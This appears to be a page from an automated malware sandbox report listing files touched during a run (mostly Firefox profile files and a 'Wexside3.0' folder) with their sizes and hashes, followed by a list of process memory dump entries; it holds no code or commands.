SHA256
4107f76ba1d9424555f4e8ea0acef69357dfff89dfa5f0ec72aa4f2d489b17bc

SHA512
34f73f7bf69d7674907f190f257516e3956f825e35a2f03d58201a5a630310b45df393f2b39669f9369d1ac990505a4b6849a0d34e8c136e1402143b6cedf2d3

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\gmp-widevinecdm\4.10.2710.0\manifest.json

Filesize
372B

MD5
bf957ad58b55f64219ab3f793e374316

SHA1
a11adc9d7f2c28e04d9b35e23b7616d0527118a1

SHA256
bbab6ca07edbed72a966835c7907b3e60c7aa3d48ddea847e5076bd05f4b1eda

SHA512
79c179b56e4893fb729b225818ab4b95a50b69666ac41d17aad0b37ab0ca8cd9f0848cbc3c5d9e69e4640a8b261d7ced592eae9bcb0e0b63c05a56e7c477f44e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\gmp-widevinecdm\4.10.2710.0\widevinecdm.dll

Filesize
17.8MB

MD5
daf7ef3acccab478aaa7d6dc1c60f865

SHA1
f8246162b97ce4a945feced27b6ea114366ff2ad

SHA256
bc40c7821dcd3fea9923c6912ab1183a942c11b7690cfd79ed148ded0228777e

SHA512
5840a45cfdb12c005e117608b1e5d946e1b2e76443ed39ba940d7f56de4babeab09bee7e64b903eb82bb37624c0a0ef19e9b59fbe2ce2f0e0b1c7a6015a63f75

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\prefs-1.js

Filesize
12KB

MD5
d4a47fac69a3d12155251861cc20410c

SHA1
f0946af5fcdb5cd50101dc41677a979274bc723c

SHA256
eeeede35dc9d6b1263b414ccd94ad36d6bd46af02416dee0dc4c8b9ffe88a206

SHA512
642ee8b39d46f8e60d415a29910f2bbeb5dc4f489ce5e476cf6a75e0584558524778c8cf9439d4af9b94df415724bbb939693de7768580167935fffcb1bb2726

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\prefs-1.js

Filesize
15KB

MD5
9f6aa10b65442a0965546c0ddf8f6bd2

SHA1
b97a868b9a058f72081eb066fd3bbd49498abf7c

SHA256
c9e814d80a56892639260146173cf5859d751f987ddcc287daf24d9112a52d35

SHA512
4ccd67c5e7b6521c89f10860ba08d352f8a087f1bc637daadc3cf89e7588a01ef827e7c9b576456766ed83e7fcddffb1aa41cdbff5015cd6c022b7bfc754e63f

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\prefs.js

Filesize
11KB

MD5
a0f2749c690d33f229236d4ea9cf99e9

SHA1
264a2f4cc78fa4d63e3fdce492105e8ccd14a747

SHA256
5ee3586120573fc0808a4d1be740217307660536a8bbcebeb76aa649a7a3581b

SHA512
426c4836171814fbb637830dcb9ddac1d4a17f0fa4c6bf7d756f3cb537e7635f2a8a6eaf59dd19cf178f889cb0c8674f2ef9da48b517cb7069e601b75bdb9611

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\prefs.js

Filesize
14KB

MD5
245a5735bbdff0251cd4ecfa8c29ae3e

SHA1
a67130a81797e6f30177180aa19f7b9023a09d1e

SHA256
03b0ff7b2462613de308fcff27c203fb186859ab449210822e92729b7835e429

SHA512
5c6e7e8608e21ba154a857f96e7b1043472ad10c3357cd7b0f99784f0a86d1ab25a3ae92cb9cc98b2ae2852fe75b205af0a8f0c14779cddc69990305460951bb

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\sessionstore-backups\recovery.baklz4

Filesize
1KB

MD5
bb51bc39c883ced6eef813b21bfb34f5

SHA1
de899bfd24bf47b5b0e21dccfbacf3871074eac4

SHA256
fab8babbb84a11a6f620e416ec53fb7ba0c5926666dbc3d5c912003ab96c1c13

SHA512
2cedf92fd213109e485118c84cfb2f0cd384249efd6c7d7d027ed744159c21cb552bfc4a09a51c444585009aad8be9c6b2587220308ea3f80c337787aa88c59e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
760KB

MD5
864271bdc22da53e517b99f44975c94c

SHA1
ea7c57f49c0f2571d7ca4a62590d87e73d66c52c

SHA256
1f3f41db7c69d98b958917dc6d355e3d3fff370b6c46bdca7d32544dae1a6d59

SHA512
12c4caa1c9ddf53a73ae778a0493abaefe4ed4c6fef30af4da657029ad42c9b76711faab700b1401433e42c9798ac7f6045f7686ba48885f56b4d4f64f63540a

Download Submit
C:\Users\Admin\Desktop\Wexside3.0\tmp

Filesize
14B

MD5
ce585c6ba32ac17652d2345118536f9c

SHA1
be0e41b3690c42e4c0cdb53d53fc544fb46b758d

SHA256
589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3

SHA512
d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752

Download Submit
\??\pipe\crashpad_1804_GOOCORYMIETOGFTX

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1648-1631-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1632-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1626-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1630-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1629-0x0000017C9D940000-0x0000017C9D960000-memory.dmp

Filesize
128KB

Download
memory/1648-1633-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1623-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1636-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1634-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1627-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1625-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1628-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1624-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1622-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1648-1635-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3588-1571-0x0000024A9B960000-0x0000024A9B982000-memory.dmp

Filesize
136KB

Download
memory/4264-1618-0x0000000140000000-0x000000014000D000-memory.dmp

Filesize
52KB

Download
memory/4264-1614-0x0000000140000000-0x000000014000D000-memory.dmp

Filesize
52KB

Download
memory/4264-1615-0x0000000140000000-0x000000014000D000-memory.dmp

Filesize
52KB

Download
memory/4264-1616-0x0000000140000000-0x000000014000D000-memory.dmp

Filesize
52KB

Download
memory/4264-1621-0x0000000140000000-0x000000014000D000-memory.dmp

Filesize
52KB

Download
memory/4264-1617-0x0000000140000000-0x000000014000D000-memory.dmp

Filesize
52KB

Download
memory/5304-1609-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/5304-1610-0x0000000005130000-0x0000000005196000-memory.dmp

Filesize
408KB

Download
memory/5588-1647-0x000002549B420000-0x000002549B421000-memory.dmp

Filesize
4KB

Download
memory/5588-1648-0x000002549B420000-0x000002549B421000-memory.dmp

Filesize
4KB

Download
memory/5588-1646-0x000002549B420000-0x000002549B421000-memory.dmp

Filesize
4KB

Download
memory/5588-1645-0x000002549B420000-0x000002549B421000-memory.dmp

Filesize
4KB

Download
memory/5588-1644-0x000002549B420000-0x000002549B421000-memory.dmp

Filesize
4KB

Download
memory/5588-1643-0x000002549B420000-0x000002549B421000-memory.dmp

Filesize
4KB

Download
memory/5588-1649-0x000002549B420000-0x000002549B421000-memory.dmp

Filesize
4KB

Download
memory/5588-1637-0x000002549B420000-0x000002549B421000-memory.dmp

Filesize
4KB

Download
memory/5588-1639-0x000002549B420000-0x000002549B421000-memory.dmp

Filesize
4KB

Download
memory/5588-1638-0x000002549B420000-0x000002549B421000-memory.dmp

Filesize
4KB

Download